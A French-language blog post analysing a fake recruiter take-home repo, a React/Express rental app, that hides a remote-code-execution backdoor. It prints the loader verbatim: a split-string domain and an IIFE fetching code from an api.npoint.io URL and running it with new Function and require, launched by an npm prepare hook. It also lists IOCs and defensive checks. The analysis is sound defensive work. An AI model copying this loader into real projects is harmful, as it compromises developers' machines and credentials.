Blog
Development·8 min read

Ils Ont Réessayé : Dissection d'une Deuxième Attaque Malware via Fausse Offre d'Emploi

Une semaine après la première arnaque crypto, un autre recruteur m'a envoyé un repo de plateforme de location avec une backdoor d'exécution de code à distance cachée en pleine vue.

Jo Vinkenroye·March 2, 2026
Ils Ont Réessayé : Dissection d'une Deuxième Attaque Malware via Fausse Offre d'Emploi

Une semaine. C'est le temps qu'il a fallu pour que le suivant se manifeste

Si vous avez lu mon dernier article, vous savez que j'ai failli tomber dans le piège d'un faux exercice de recrutement qui cachait un malware sur la Binance Smart Chain. C'était une plateforme de poker avec des payloads hébergés sur la blockchain

Cette fois c'est une "plateforme de location Copia" — une appli de réservation de villas construite avec React, Express et MongoDB. Habillage différent, même jeu

Et ils ont failli rendre la détection plus difficile

L'Accroche

Même scénario que la dernière fois. Un recruteur vous contacte, le poste a l'air bien, voici un repo à examiner comme exercice à faire chez soi

Le projet ressemble à une appli de location MERN stack standard. Villas, réservations, authentification utilisateur, chat. Frontend React propre avec react-router, backend Express avec authentification JWT, Socket.io pour la messagerie en temps réel

Copia-rental_platform/
├── src/
│ ├── components/ # Home, Villas, Contact, Navbar, Footer
│ ├── subComponents/ # HeroSection, Regions, TopVillas
│ ├── server/
│ │ ├── controllers/ # auth, product, seller, chat
│ │ ├── middleware/ # JWT socket auth
│ │ ├── models/ # User, Product, Chat
│ │ ├── routers/ # Express routes
│ │ └── utils/ # ...c'est là que ça devient bizarre
│ └── App.jsx
├── package.json
└── vite.config.js

À première vue, ça passe le test. De vrais composants, un vrai flux d'authentification, de vraies opérations CRUD

Signal d'Alarme #1 : Le Répertoire utils

Le serveur contient un répertoire utils/ rempli de fichiers qui n'ont absolument rien à voir avec la location de villas :

src/server/utils/
├── actions/
│ ├── rarity_core_attributes.js
│ ├── rarity_extended_boars.js
│ ├── rarity_extended_crafting_helper.js
│ ├── rarity_extended_daycare.js
│ ├── rarity_extended_equipment.js
│ ├── rarity_extended_farming.js
│ ├── rarity_extended_name.js
│ ├── rarity_openmic_perform.js
│ ├── rarity_theForest.js
│ ├── vaults.js
│ └── utils.js
├── index.js
└── performBatchedUpdates.js

Tout cela est volé de Rarity Extended, un jeu RPG blockchain. Les fichiers contiennent encore les en-têtes d'auteur originaux avec @Author: Rarity Extended et @Twitter: @RXtended

Une plateforme de location n'a pas besoin de apeInVault(), claimGold(), recruitAdventurer() ou lootDungeonTheCellar(). Ce code existe uniquement pour gonfler le repo et le faire ressembler à un projet plus grand et plus légitime

Signal d'Alarme #2 : L'Historique Git

L'historique des commits raconte la vraie histoire :

61e64fb updated backend functions 4
5b66b14 updated backend functions 3
776cc7f deleted backend api connection
...
01f085f 0xdj28f8q2hfe
bc7d74c 0xkaf28fjdrafh
c2ff83a 0xioadq328fakfw
1a6db3e 0xi2fidkkfkw
8e1734a 0xdafk3afdufh2
...
7b2d903 Initial commit

Plus de 40 commits avec de faux messages en apparence hexadécimale conçus pour ressembler à des hashs de transactions blockchain. Quatre identités d'auteurs différentes — smitrajput, rcstanciu, fadeev, passabilities — tous commettant pour donner l'impression qu'une vraie équipe a construit ça au fil du temps

Personne ne nomme ses commits 0xmcr214a31be. C'est du théâtre

Signal d'Alarme #3 : Le Script prepare

Comme la dernière fois :

{
"scripts": {
"start": "npm run server | vite",
"prepare": "node ./src/server/app.js | vite",
"server": "node ./src/server/app.js"
}
}

Le hook de cycle de vie prepare s'exécute automatiquement lors du npm install. Il démarre le serveur backend. Le serveur charge les controllers. Et l'un de ces controllers réserve une surprise

La Charge Utile

Voici le malware, caché dans src/server/controllers/product.js entre des fonctions CRUD tout à fait normales :

const subDomain1 = "api.np";
const subDomain2 = "oint.io";
const domain2 = subDomain1 + subDomain2;
const uuid = "c237b2d383b98719acdc";

Le domaine est découpé en deux chaînes. "api.np" + "oint.io" s'assemble en api.npoint.io — un service d'hébergement JSON. Si vous faites un grep dans le code à la recherche d'URL suspectes, vous n'en trouverez pas. Malin

Puis enfoui entre getBidHistory et updateProduct :

(async () => {
const res = await axios.get(`https://${domain2}/${uuid}`);
new Function("require", res.data.model)(require);
})();

Une fonction async auto-invoquée qui télécharge du code depuis le serveur distant et l'exécute avec new Function(), en passant require pour un accès complet à Node.js

Même technique que l'arnaque au poker. Même pattern new Function("require", payload)(require). Mécanisme de livraison différent — cette fois c'est une API JSON au lieu d'un smart contract blockchain

Comparaison des Deux Attaques

L'arnaque au poker (semaine 1) se déguisait en plateforme de poker Web3. Elle hébergeait sa charge utile sur un smart contract Binance Smart Chain, déclenchée par un appel à configureCollection(). L'obfuscation reposait sur des noms de fonctions à l'apparence normale, et le code de remplissage était des événements d'échecs dans une appli de poker

La plateforme de location (semaine 2) se fait passer pour un site de réservation de villas. Elle héberge sa charge utile sur npoint.io, un service d'API JSON. Le déclencheur est une IIFE auto-invoquée enfouie entre des exports normaux. L'obfuscation utilise des chaînes de domaine découpées, et le code de remplissage est un jeu RPG blockchain intégré dans une appli de location

Ce qui reste identique : le hook prepare s'exécute automatiquement à l'installation. Les deux utilisent new Function("require", payload)(require) pour exécuter du code téléchargé avec un accès complet au système

La technique de base est identique. Télécharger une chaîne, l'exécuter comme du code, passer require pour donner un accès complet au système

L'approche npoint.io est en fait moins sophistiquée que la version blockchain. Un endpoint JSON peut être supprimé. Un smart contract est immuable. Mais c'est aussi plus rapide à mettre en place et plus facile à mettre à jour

Ce Qui Change Cette Fois

Le découpage de chaînes est nouveau. Au lieu d'avoir une URL complète dans le code, ils répartissent le domaine sur plusieurs variables. Cela contourne les recherches grep simples de domaines malveillants connus

Le placement est aussi plus subtil. Dans l'arnaque au poker, le déclencheur du malware était un appel de fonction isolé à la fin du démarrage du serveur. Ici c'est une IIFE anonyme coincée entre deux fonctions d'export normales dans un fichier controller. Il faudrait lire chaque ligne pour le repérer

Et le code de remplissage est plus malin. La dernière fois, ils avaient des événements d'échecs dans un jeu de poker. Cette fois, le code volé de Rarity Extended a au moins un rapport avec la crypto/Web3, ce qui est marginalement plus plausible dans le contexte d'un projet Node.js

Le Schéma

C'est la campagne Contagious Interview. Attribuée au Lazarus Group de Corée du Nord. Ils ciblent les développeurs — en particulier ceux de la crypto — à travers de fausses offres d'emploi

La formule :

  1. Un faux recruteur vous contacte avec une bonne opportunité
  2. Un processus d'entretien professionnel instaure la confiance
  3. Un exercice de codage à domicile est livré sous forme de repo GitHub
  4. npm install déclenche la charge utile
  5. Votre machine est compromise

Deux tentatives en une semaine me dit qu'ils passent à l'échelle. Soit je suis maintenant sur une liste, soit le filet s'élargit

Que Faire

Si vous recevez un exercice à domicile d'un recruteur :

  1. Lisez les scripts du package.json avant tout — prepare, preinstall, postinstall sont des hooks qui s'exécutent automatiquement
  2. Recherchez new Function, eval, Function( dans tout le code
  3. Cherchez les concaténations de chaînes qui construisent des URL ou des noms de domaine
  4. Vérifiez si les répertoires utils ou lib correspondent vraiment à l'objectif du projet
  5. Regardez l'historique git — des commits hex factices et plusieurs auteurs sur un petit projet sont des signaux d'alarme
  6. Exécutez-le dans un conteneur Docker ou une VM si vous l'exécutez

Si vous avez déjà lancé npm install sur un repo suspect :

  • Considérez-vous comme compromis. Changez tous vos identifiants, vérifiez les processus inconnus, scannez les extensions de navigateur
  • Déplacez vos cryptos de tout wallet accessible depuis cette machine
  • Vérifiez ~/.ssh/, ~/.aws/, les profils de navigateur pour des signes d'exfiltration

Indicators of Compromise

Pour ceux qui font de la recherche sur les menaces :

  • URL de charge utile : https://api.npoint.io/c237b2d383b98719acdc
  • Technique : Découpage de chaînes pour assembler le domaine ("api.np" + "oint.io")
  • Exécution : new Function("require", res.data.model)(require)
  • Auteur git : smitrajput <smitrajputtd@gmail.com>

Réflexion Finale

Deux fois en une semaine. Même technique, emballage différent

La première a failli m'avoir parce que je ne m'y attendais pas. Celle-ci non, parce que j'audite maintenant chaque exercice avant d'y toucher. Cette paranoïa m'a sauvé

Si vous cherchez un emploi en tant que développeur en ce moment, surtout dans la crypto ou le Web3 — vos compétences en revue de code doivent commencer par l'exercice lui-même. Avant d'écrire une seule ligne de code, lisez le leur

Le recruteur est peut-être faux. L'entreprise est peut-être fausse. Mais le malware est bien réel

Stay Updated

Get notified about new posts on automation, productivity tips, indie hacking, and web3.

No spam, ever. Unsubscribe anytime.

Comments

Related Posts